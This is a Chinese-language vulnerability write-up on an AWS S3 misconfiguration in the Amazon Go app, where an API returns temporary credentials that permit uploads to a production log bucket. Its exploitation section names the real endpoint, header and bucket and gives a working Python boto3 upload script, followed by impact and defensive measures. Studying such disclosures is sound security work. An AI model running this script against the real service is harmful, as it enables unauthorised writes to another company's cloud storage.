利用Amazon AWS的配置失误在Amazon Go中上传任意文件
字数 906 2025-08-29 08:32:24
Amazon AWS S3存储桶配置错误漏洞分析与利用教学
漏洞背景
Amazon Go是亚马逊推出的无人零售商店,使用AWS S3服务存储数据。研究人员发现其移动应用中存在AWS S3存储桶配置错误,允许未经认证的用户上传任意文件。
漏洞原理
Amazon Go移动应用在请求getUploadCredentialsV2 API时,会返回临时的AWS凭证(accessKeyId、secretAccessKey、sessionToken),这些凭证具有向特定S3存储桶(ihm-device-logs-prod)上传文件的权限。
漏洞发现过程
1. 流量拦截与分析
使用BurpSuite拦截移动应用流量,发现关键请求返回包含AWS凭证的JSON响应:
{
"accessKey": "...",
"secretKey": "...",
"sessionToken": "...",
"url": "...",
"timeout": 1500
}
2. 静态代码分析
使用JADX工具反编译APK文件,分析关键类:
com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2LoggingUploadService类包含S3存储桶名称ihm-device-logs-prod
3. 权限测试
通过Python脚本测试返回的AWS凭证权限,确认可以上传文件到S3存储桶。
漏洞利用步骤
1. 获取临时凭证
发送POST请求到https://mccs.amazon.com/ihmfence,头部包含:
X-Amz-Target: com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2
2. 使用Python脚本上传文件
#!/usr/bin/env python
import json, boto3, requests
# 获取凭证
response = requests.post(
'https://mccs.amazon.com/ihmfence',
headers={
'X-Amz-Target': 'com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2',
# 其他必要头部
},
data='{}'
)
# 解析响应
obj = response.json()
access_key = obj['accessKey']
secret_key = obj['secretKey']
session_token = obj['sessionToken']
# 创建S3客户端
s3 = boto3.resource(
's3',
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
region_name='us-west-2'
)
# 上传文件
s3.meta.client.upload_file('./test.txt', 'ihm-device-logs-prod', 'test.txt')
漏洞影响
- 存储空间滥用:攻击者可上传大量文件耗尽存储空间,增加成本
- 恶意文件注入:可能通过修改日志文件实现数据污染或恶意代码执行
- 数据完整性破坏:干扰正常日志收集和分析
防御措施
- 最小权限原则:临时凭证应仅授予必要的最小权限
- 存储桶策略:配置S3存储桶仅允许特定前缀或条件的上传
- 凭证有效期:缩短临时凭证的有效期
- 输入验证:对上传的文件进行内容检查和验证
- 监控机制:设置S3存储桶的异常上传告警
总结
该漏洞展示了AWS配置错误可能带来的安全风险,特别是在临时凭证权限过大时。开发人员应严格遵循最小权限原则,并定期进行安全审计和渗透测试,确保云资源配置的安全性。